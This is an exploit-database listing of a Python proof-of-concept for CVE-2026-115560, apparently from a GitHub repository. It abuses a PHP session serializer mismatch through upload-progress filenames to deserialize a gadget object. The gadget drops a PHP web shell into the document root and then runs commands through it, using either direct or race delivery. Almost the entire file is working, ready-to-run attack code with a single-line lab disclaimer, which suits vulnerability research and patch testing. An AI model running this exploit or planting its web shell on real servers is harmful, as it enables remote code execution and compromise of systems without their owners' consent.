Exploit database

GH-eda0204cf7b05a9e5ace4d69ebc177b7

basesixtythree/b63-poc-cve-2026-115560

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-115560

9 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
basesixtythree/b63-poc-cve-2026-115560Revision cbf4123a9208

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc/exploit_readable.py

Python · 15,176 bytes
#!/usr/bin/env python3
# ==============================================================================
#
#   ▗▖   ▄▄▄▄ ▄▄▄▄
#   ▐▌   █       █
#   ▐▛▀▚▖█▀▀█ ▀▀▀█
#   ▐▙▄▞▘█▄▄█ ▄▄▄█
#
#   Agentic Exploit Foundry
#
# ==============================================================================
#  CVE-2026-115560 -- exploit (readable: one stage per function, verbose)
#  Date: 2026-10-23
#  Author: b63 // Agentic Exploit Foundry
#
#  This file favours clarity over compactness. Each stage of the chain is its
#  own function with the reasoning written next to the code:
#
#    Stage 1  build_object()      turn a class name + properties into the exact
#                                 bytes PHP's unserializer expects
#    Stage 2  build_request()     wrap those bytes in a multipart upload that
#                                 trips the session.upload_progress hook
#    Stage 3  deliver()           get the bytes written into the victim's
#                                 session file (directly, or via the race)
#    Stage 4  trigger_decode()    make the application read that file back with
#                                 the *other* serializer
#    Stage 5  use_shell()         prove code execution (nonce-verified)
#
#  Background: the site is configured with session.serialize_handler=php_binary
#  and the application does ini_set('session.serialize_handler','php') before
#  session_start(). PHP's upload-progress hook runs before RINIT and stores the
#  progress record using the configured serializer. The application then parses
#  that same file with the `php` serializer, whose record separator is `|`.
#  The filename of the uploaded file is copied into the progress record
#  verbatim, so a `|` in the filename decides where the `php` parser stops
#  treating bytes as a key and starts treating them as a serialized value.
#  From that offset the bytes are attacker-controlled, and php_var_unserialize()
#  runs with normal semantics: autoloading, __wakeup() and __destruct().
#
#  USAGE
#    exploit.py --url http://127.0.0.1:18090/index.php --cmd id
#    exploit.py --url http://127.0.0.1:18091/index.php --mode race --cmd "id; uname -a"
#    exploit.py --url ... --shell /var/www/html/classes/x.php      # nested path
#    exploit.py --url ... --shell-url http://host/x.php            # non-docroot file
#
#  EXIT CODES (same in both drivers)
#     0  command output captured (nonce verified)
#     1  requests completed, no execution (target not vulnerable in this profile;
#        a wrong application path also lands here -- it is not "unreachable")
#     2  usage error (bad --url, --shell outside --docroot without --shell-url)
#     3  transport failure (connection refused, timeout)
#
#  Authorized lab testing only.
# ==============================================================================
import argparse
import http.client
import random
import socket
import string
import sys
import threading
import time
import urllib.parse

DEFAULT_DOCROOT = "/var/www/html"


# --------------------------------------------------------------------------- #
# Stage 1 -- serialization
# --------------------------------------------------------------------------- #
def serialize_string(value: bytes) -> bytes:
    """`s:<len>:"<bytes>";` -- PHP's length-prefixed string format.

    Lengths are BYTE lengths, which matters as soon as non-ASCII appears.
    """
    return b's:%d:"%s";' % (len(value), value)


def build_object(class_name: str, properties: dict) -> bytes:
    """Serialize a public-property object: O:<len>:"<class>":<n>:{<k><v>...}.

    Only public properties are used, so no NUL-prefixed visibility markers are
    needed and the bytes are reproducible without running PHP.
    """
    encoded_name = class_name.encode()
    out = b'O:%d:"%s":%d:{' % (len(encoded_name), encoded_name, len(properties))
    for name, value in properties.items():
        out += serialize_string(name.encode())
        out += serialize_string(value if isinstance(value, bytes) else value.encode())
    out += b"}"
    return out


# --------------------------------------------------------------------------- #
# Stage 2 -- the multipart body that trips the upload-progress hook
# --------------------------------------------------------------------------- #
def new_boundary() -> str:
    return "----b63" + "".join(random.choices(string.ascii_lowercase + string.digits, k=10))


def build_request(boundary: str, payload: str, filler: bytes = b"B" * 64) -> bytes:
    """Two form fields are enough:

      1. PHP_SESSION_UPLOAD_PROGRESS -- the default value of
         session.upload_progress.name. Sending it makes the session module
         create/refresh the upload-progress record for this request.
      2. a file field -- its *filename* is echoed into the progress record,
         which is how the payload reaches the session file.

    Why the filename and not the progress value? The record key is
    `upload_progress_` + the progress value, and php_binary refuses keys longer
    than 127 bytes (PS_BIN_MAX), which is far too small for a serialized object.
    The filename has no such limit.
    """
    head = (
        f"--{boundary}\r\n"
        'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\n'
        "b63\r\n"
        f"--{boundary}\r\n"
        f'Content-Disposition: form-data; name="f"; filename="{payload}"\r\n'
        "Content-Type: text/plain\r\n\r\n"
    ).encode()
    tail = f"\r\n--{boundary}--\r\n".encode()
    return head + filler + tail


def escape_header_value(text: str) -> str:
    """Backslash-escape quotes so the serialized object survives the header.

    PHP unescapes them while parsing Content-Disposition, so the bytes stored
    in the progress record are the exact serialized object.
    """
    return text.replace('"', '\\"')


# --------------------------------------------------------------------------- #
# Stage 3 -- delivery
# --------------------------------------------------------------------------- #
def usage_error(message: str):
    """Argument/validation failure: exit 2 (never 1, which means 'ran clean')."""
    print(f"[b63] {message}")
    raise SystemExit(2)


def target_parts(url: str):
    parts = urllib.parse.urlsplit(url)
    if not parts.hostname:
        usage_error(f"invalid --url: {url}")
    try:
        port = parts.port                  # raises ValueError on "http://h:notaport"
    except ValueError:
        usage_error(f"bad port in --url: {url}")
    path = parts.path or "/"
    if parts.query:
        path += "?" + parts.query
    return parts.scheme or "http", parts.hostname, port or 80, path


def get(url: str, session_id: str, timeout: float = 15.0):
    _, host, port, path = target_parts(url)
    conn = http.client.HTTPConnection(host, port, timeout=timeout)
    conn.request("GET", path, headers={"Cookie": f"PHPSESSID={session_id}", "Connection": "close"})
    response = conn.getresponse()
    body = response.read()
    conn.close()
    return response.status, body


def post(url: str, body: bytes, boundary: str, session_id: str, timeout: float = 20.0):
    _, host, port, path = target_parts(url)
    conn = http.client.HTTPConnection(host, port, timeout=timeout)
    conn.request(
        "POST",
        path,
        body=body,
        headers={
            "Cookie": f"PHPSESSID={session_id}",
            "Content-Type": f"multipart/form-data; boundary={boundary}",
            "Content-Length": str(len(body)),
            "Connection": "close",
        },
    )
    response = conn.getresponse()
    data = response.read()
    conn.close()
    return response.status, data


def deliver_direct(app_url: str, session_id: str, payload: str, verbose: bool) -> None:
    """One request: the hook writes the poisoned file, then the app decodes it.

    Works when the progress record is still in the session file when the
    application starts its session -- i.e. session.upload_progress.cleanup=0.
    """
    boundary = new_boundary()
    body = build_request(boundary, payload)
    if verbose:
        print(f"[b63] posting {len(body)} bytes to {app_url}")
    status, data = post(app_url, body, boundary, session_id)
    print(f"[b63] stage 3 (direct): HTTP {status}, {len(data)} bytes back")


def deliver_race(app_url: str, session_id: str, payload: str, verbose: bool, settle: float = 1.5) -> None:
    """Keep the poisoned record on disk by uploading slowly, and read it from a
    second connection before the completion event wipes it.

    With the DEFAULT session.upload_progress.cleanup=1 the record is deleted
    when the body ends, but it exists *during* the upload. A second request on
    the same session id that reaches the handler-switching application inside
    that window decodes it.
    """
    _, host, port, path = target_parts(app_url)
    boundary = new_boundary()
    head = build_request(boundary, payload, b"")
    tail = f"\r\n--{boundary}--\r\n".encode()
    chunk = b"B" * 65536
    declared = len(head) + len(chunk) * 8 + len(tail)

    def slow_upload():
        sock = socket.create_connection((host, port), timeout=20)
        sock.sendall(
            (
                f"POST {path} HTTP/1.1\r\nHost: {host}:{port}\r\n"
                f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
                f"Content-Length: {declared}\r\n"
                f"Cookie: PHPSESSID={session_id}\r\nConnection: close\r\n\r\n"
            ).encode()
            + head
        )
        for _ in range(8):
            try:
                sock.sendall(chunk)
            except OSError:
                break
            time.sleep(0.6)
        try:
            sock.sendall(tail)
        except OSError:
            pass
        sock.close()

    worker = threading.Thread(target=slow_upload, daemon=True)
    worker.start()
    time.sleep(settle)
    status, data = get(app_url, session_id)
    print(f"[b63] stage 3 (race): concurrent request -> HTTP {status}, {len(data)} bytes back")
    worker.join(timeout=25)


# --------------------------------------------------------------------------- #
# Stage 4 -- where the decode happens, and how the payload gets there
# --------------------------------------------------------------------------- #
def shell_url_for(app_url: str, shell_path: str, docroot: str, override: str | None) -> str:
    """Filesystem path -> URL. --shell lives under the document root, so the
    URL is the part after --docroot; probing the basename would hit the wrong
    URL and report a vulnerable target as clean."""
    if override:
        return override
    scheme, host, port, _ = target_parts(app_url)
    root = docroot.rstrip("/") + "/"
    if not shell_path.startswith(root):
        usage_error(
            f"--shell {shell_path} is not under --docroot {docroot}; "
            "pass --shell-url with the URL that serves it"
        )
    return f"{scheme}://{host}:{port}/{shell_path[len(root):]}"


# --------------------------------------------------------------------------- #
# Stage 5 -- proof of execution
# --------------------------------------------------------------------------- #
def use_shell(shell_url: str, session_id: str, command: str, nonce: str) -> bool:
    """Run the command with a per-run marker appended, and require the marker.

    The marker is what makes the result trustworthy: a shell left behind by an
    earlier run, or a page that merely returns 200, cannot fake it.
    """
    status, data = get(f"{shell_url}?c={urllib.parse.quote(command + '; echo ' + nonce)}", session_id)
    body = data.decode("utf-8", "replace")
    if status == 200 and nonce in body:
        print("[b63] stage 5: nonce verified, command output follows")
        sys.stdout.write(body.replace(nonce, "").rstrip() + "\n")
        return True
    print(f"[b63] stage 5: no verified output (HTTP {status}, {len(body)} bytes)")
    return False


def run(app_url: str, args) -> int:
    session_id = args.sid or "b63" + "".join(
        random.choices(string.ascii_lowercase + string.digits, k=24)
    )
    shell_path = args.shell or f"{args.docroot.rstrip('/')}/b63shell_{random.randrange(10**8):08d}.php"
    shell_url = shell_url_for(app_url, shell_path, args.docroot, args.shell_url)
    nonce = "B63" + "".join(random.choices(string.ascii_uppercase + string.digits, k=12))

    gadget = build_object(args.gadget, {args.prop_path: shell_path, args.prop_data: args.shell_template})
    payload = escape_header_value("b63|" + gadget.decode())

    print(f"[b63] session id    : {session_id}")
    print(f"[b63] gadget object : {gadget.decode()}")
    print(f"[b63] shell path    : {shell_path}")
    print(f"[b63] shell url     : {shell_url}")

    try:
        if args.mode in ("auto", "direct"):
            deliver_direct(app_url, session_id, payload, args.verbose)
            if use_shell(shell_url, session_id, args.cmd, nonce):
                return 0
            if args.mode == "direct":
                print("[b63] direct delivery produced no shell")
                return 1
            print("[b63] direct delivery produced no shell -> falling back to race")

        deliver_race(app_url, session_id, payload, args.verbose)
        if use_shell(shell_url, session_id, args.cmd, nonce):
            return 0
        print("[b63] no shell: this profile is not vulnerable (see the negative tests)")
        return 1
    except (OSError, http.client.HTTPException) as exc:
        print(f"[b63] transport error (connection refused / timeout): {exc}")
        return 3


def main() -> int:
    parser = argparse.ArgumentParser(description="CVE-2026-115560 readable exploit (lab use)")
    parser.add_argument("--url", required=True, help="URL of the handler-switching application")
    parser.add_argument("--shell", default=None,
                        help="filesystem path the gadget writes (default: <docroot>/b63shell_<rand>.php)")
    parser.add_argument("--docroot", default=DEFAULT_DOCROOT, help="document root that --shell is relative to")
    parser.add_argument("--shell-url", default=None, help="explicit URL serving --shell (overrides --docroot)")
    parser.add_argument("--cmd", default="id", help="command executed through the dropped shell")
    parser.add_argument("--gadget", default="App\\Cache\\FileCache",
                        help="autoloadable class with a file-writing __destruct")
    parser.add_argument("--prop-path", default="path", help="gadget property holding the filesystem path")
    parser.add_argument("--prop-data", default="payload", help="gadget property holding the file contents")
    parser.add_argument("--shell-template", default="<?php system($_GET['c']); ?>",
                        help="file contents the gadget writes")
    parser.add_argument("--mode", choices=["auto", "direct", "race"], default="auto")
    parser.add_argument("--sid", default=None, help="session id (default: random)")
    parser.add_argument("--verbose", action="store_true")
    args = parser.parse_args()
    return run(args.url, args)


if __name__ == "__main__":
    raise SystemExit(main())